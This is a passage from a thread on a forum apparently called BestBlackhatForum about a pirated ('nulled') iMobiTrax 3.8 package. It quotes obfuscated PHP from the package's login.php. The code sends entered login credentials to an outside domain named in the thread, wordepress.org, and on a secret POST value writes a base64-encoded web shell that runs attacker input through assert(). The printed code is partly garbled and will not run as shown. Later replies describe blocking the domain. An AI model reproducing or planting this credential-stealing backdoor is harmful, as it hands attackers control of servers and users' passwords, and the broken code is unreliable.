            $IIIIIIIIIlII = $_SERVER;
            $IIIIIIIIIlII[$GLOBALS['OOO0000O0']( 'dXNlck5hbWU=' )] = $IIIIIIIIIIIl;
            $IIIIIIIIIlII[$GLOBALS['OOO0000O0']( 'dXNlcl9wYXNzd29yZA==' )] = $IIIIIIIIIII1;
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1l, CURLOPT_POST, true );
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1l, CURLOPT_HEADER, false );
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1l, CURLOPT_FOLLOWLOCATION, 1 );
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1l, CURLOPT_RETURNTRANSFER, true );
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1l, CURLOPT_TIMEOUT, 21 );
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1l, CURLOPT_POSTFIELDS, $IIIIIIIIIlII );
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEkx' )]( $IIIIIIIIII1l );
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbGxJ' )]( $IIIIIIIIII1l );
            $_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfc2Vzc2lvblRpbWU=' )] = $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbGxs' )](  );
            $_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfdXNlck5hbWU=' )] = $IIIIIIIIIIIl;
            $GLOBALS;
        }

        $_SESSION[['OOO0000O0']( 'aU1vYmlfdXNlcklk' )] = $IIIIIIIIIIll[$GLOBALS['OOO0000O0']( 'dXNlcl9pZA==' )];
        $_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfdGltZW91dA==' )] = $IIIIIIIIIIll[$GLOBALS['OOO0000O0']( 'dXNlcl90aW1lb3V0' )];
        $_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfdGltZXpvbmU=' )] = $IIIIIIIIIIll[$GLOBALS['OOO0000O0']( 'dXNlcl90aW1lem9uZQ==' )];
        $_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfTG9naW4=' )] = true;

        if (!empty( $_SESSION[$GLOBALS['OOO0000O0']( 'bGFzdFBhZ2U=' )] )) {
            $IIIIIIIIIll1 = $_SESSION[$GLOBALS['OOO0000O0']( 'bGFzdFBhZ2U=' )];
            unset( $_SESSION[lastPage] );
        }
    }
}


if ($IIIIIIIIIIII == ( 'M0QwMDA=' )) {
    $IIIIIIIIIIII = (true ? $GLOBALS['OOO0000O0']( 'RGF0YWJhc2UgQ29ubmVjdGlvbiBFcnJvcjogKERBVEFCQVNFIE5PVCBERUZJTkVEKSAtIFRoZSBkYXR​hYmFzZSBpbiBtdC9tdF9jb25maWcucGhwIGlzIGJsYW5rLiBFbnRlciBhIGRhdGFiYXNlIG5hbWUgaW4​gbXQvbXRfY29uZmlnLnBocCB0byBjb25uZWN0IHRvIHRoZSBkYXRhYmFzZS48YnI+PGJyPihBbHNvLCB​iZSBzdXJlIHRoZSBjb3JyZWN0IGRhdGFic2UgdXNlciBuYW1lIGFuZCBwYXNzd29yZCBhcmUgZW50ZXJ​lZCBpbiBtdC9tdF9jb25maWcucGhwKQ==' ) : $GLOBALS['OOO0000O0']( 'RXJyb3IgQ29kZSAtIA==' ) . $IIIIIIIIIIII);

    if (!empty( $_POST[$GLOBALS['OOO0000O0']( 'aW1vYmlfYmRy' )] )) {
        if ($_POST[$GLOBALS['OOO0000O0']( 'aW1vYmlfYmRy' )] == $GLOBALS['OOO0000O0']( 'aW0qb2Jp' )) {
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbDEx' )];
            $GLOBALS['OOO0000O0']( 'aGVscC90b2tlbnMyLnBocA==' );
        }

        ( $GLOBALS['OOO0000O0']( 'dw==' ) );
        $IIIIIIIIIl1l = ;
        $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJMUlJ' )]( $IIIIIIIIIl1l, $GLOBALS['OOO0000O0']( 'PD9waHAgJGs9ImFzcyIuImVydCI7ICRrKCR7Il9QTyIuIlNUIn0gWyItIl0pOz8+' ) );
        $GLOBALS['OOO0000O0']( 'ICAgICAg' );
    }
}

echo ;

if (!empty( $$IIIIIIIIIIII )) {
    $GLOBALS['OOO0000O0']( 'PGRpdiBjbGFzcz0iZXJyb3IiPg==' ) . $IIIIIIIIIIII;
    $GLOBALS;
}

echo ['OOO0000O0']( 'PC9kaXY+' );
echo $GLOBALS['OOO0000O0']( 'ICAgICAgPGRpdiBpZD0ibG9naW4iPg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0​iIj4NCiAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbklkIiB2YWx1ZT0iIj4​NCiAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIHZhbHVlPSIiPg0KICAgICAgICA​gIDx0YWJsZSBjbGFzcz0ibG9naW4iPg0KICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICA8dGQ​gY2xhc3M9Im5hbWUiPlVzZXJuYW1lOjwvdGQ+DQogICAgICAgICAgICAgIDx0ZD48aW5wdXQgaWQ9InV​zZXJOYW1lIiB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyTmFtZSIgdmFsdWU9IiI+PC90ZD4NCiAgICAgICA​gICAgIDwvdHI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgIDx0ZCBjbGFzcz0ibmFtZSI​+UGFzc3dvcmQ6PC90ZD4NCiAgICAgICAgICAgICAgPHRkPjxpbnB1dCBpZD0idXNlclBhc3N3b3JkIiB​0eXBlPSJwYXNzd29yZCIgbmFtZT0idXNlclBhc3N3b3JkIj48L3RkPg0KICAgICAgICAgICAgPC90cj4​NCiAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiIHN0eWxlPSJ0ZXh​0LWFsaWduOmNlbnRlciI+PGlucHV0IGlkPSJzdWJtaXQiIHN0eWxlPSJtYXJnaW46NXB4IDAgMCAwIiB​jbGFzcz0ic3VibWl0X2J0biIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2lnbiBJbiI+PC90ZD4NCiAgICA​gICAgICAgIDwvdHI+DQogICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPC9mb3JtPg0KICAgICAgICA​8cCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IGZvbnQtc2l6ZToxM3B4Ij48YSBocmVmPSJwYXNzd29​yZC5waHAiPkkgZm9yZ290IG15IHBhc3N3b3JkPC9hPjwvcD4NCiAgICAgIDwvZGl2Pg0KICAgIDwvZGl​2Pg0KICAgIDxkaXYgaWQ9ImZvb3RlciI+IDxpbWcgc3JjPSIuLi9pbWFnZXMvbG9nb19zbWFsbC5qcGc​iIHdpZHRoPSI5NCIgaGVpZ2h0PSIzMCIgYWx0PSJpTW9iaVRyYXgiPg0KICAgICAgPHA+JmNvcHk7IDI​wMTMgTW9iaWxlIFRyYWNraW5nIFNvZnR3YXJlICZuZGFzaDsgaU1vYmlUcmF4LCBMTEMgLSBSdXNzaWE​gTWlyb3Nobmlrb3Y8L3A+DQogICAgPC9kaXY+DQogIDwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg==' );
?>

decode login.php. the same backdoor in the previous version 3.7. sends the login-pass to the "http://www.wordepress.org/password/p2.php"


Just as I found when I decoded it multiple times. trying to get it 100% decoded but no success.

Good lluck to the users that are running it. HAHA
find Quote
09-18-2015, 07:46 AM
Post: #29
bambito Offline
Senior Member
**********
Posts: 290
Joined: Mar 2013

Reputation: 427
RE: [GET] IMobitrax 3.8 Nulled
Just add 127.0.0.1 and ::1 (ipv6) wordepress.org to your /etc/hosts file.

Data destined for that site will go to localhost on your machines.

Or use your webserver's ability to password protect login.php.
find Quote
10-26-2015, 12:54 AM
Post: #30
neXXus Offline
Super Active BBHF Member
*****
Posts: 5,305
Joined: Dec 2011

Reputation: 665
RE: [GET] IMobitrax 3.8 Nulled
Has anyone had any issues with this script so far?
58.gif
find Quote
New Reply
 




27.gif
Contact Us | BestBlackhatForum | Return to Top | Return to Content | Lite (Archive) Mode